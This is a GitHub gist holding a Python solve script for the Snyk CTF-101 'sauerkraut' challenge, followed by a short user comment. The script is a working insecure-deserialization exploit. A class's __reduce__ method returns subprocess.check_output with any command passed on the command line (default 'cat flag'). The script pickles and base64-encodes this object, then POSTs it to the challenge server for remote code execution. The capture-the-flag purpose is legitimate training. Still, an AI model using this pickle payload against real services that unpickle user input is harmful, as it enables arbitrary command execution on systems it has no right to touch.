Created
March 31, 2023 04:27
-
-
Save pythoninthegrass/c93158660e493625e4f8cd78e099c876 to your computer and use it in GitHub Desktop.
Snyk CTF-101: sauerkraut
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
# fmt: off | |
import asyncio | |
import atexit | |
import base64 | |
import pickle | |
import subprocess | |
import sys | |
import requests | |
import requests_cache | |
from decouple import config | |
from icecream import ic | |
from playwright.async_api import async_playwright | |
# fmt: on | |
# verbose icecream | |
ic.configureOutput(includeContext=True) | |
# cache requests | |
requests_cache.install_cache("sauerkraut_cache", backend="sqlite", expire_after=300) | |
URL = config("URL", default="http://sauerkraut.c.ctf-snyk.io/") | |
class RCE: | |
def __reduce__(self): | |
if len(sys.argv) > 1: | |
args = [] | |
for i in range(1, len(sys.argv)): | |
args.append(sys.argv[i]) | |
cmd = (args) | |
else: | |
cmd = ("cat", "flag") | |
return subprocess.check_output, (cmd,) | |
async def run(playwright, text: str, url: str = URL) -> None: | |
""" | |
use playwright to get the flag | |
poc: requests is a lot faster than playwright | |
""" | |
browser = await playwright.webkit.launch(headless=True) | |
context = await browser.new_context() | |
page = await context.new_page() | |
await page.goto(url) | |
await page.get_by_text("Enter text here...").click() | |
await page.get_by_text("Enter text here...").click(click_count=3) | |
await page.get_by_text("Enter text here...").fill(text) | |
await page.get_by_role("button", name="submit").click() | |
print(await page.content()) | |
await context.close() | |
await browser.close() | |
def get_flag(text: str, url: str = URL) -> None: | |
"""use requests to get the flag""" | |
r = requests.post(url, data={"text": text}) | |
return print(r.text) | |
@atexit.register | |
def clear_cache(): | |
"""clear cache on exit""" | |
requests_cache.clear() | |
print("Cleared requests cache!") | |
async def main(): | |
pickled = pickle.dumps(RCE()) | |
decoded = base64.urlsafe_b64encode(pickled).decode("utf-8") | |
# async with async_playwright() as playwright: | |
# await run(playwright, decoded) | |
get_flag(decoded) | |
if __name__ == '__main__': | |
asyncio.run(main()) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
SnykCon CTF - Sauerkraut - Python Pickle Vulnerabilities - YouTube was honestly more helpful than the live demo.
The subprocess splitting on args and needing to be cast as a tuple really threw me off 😅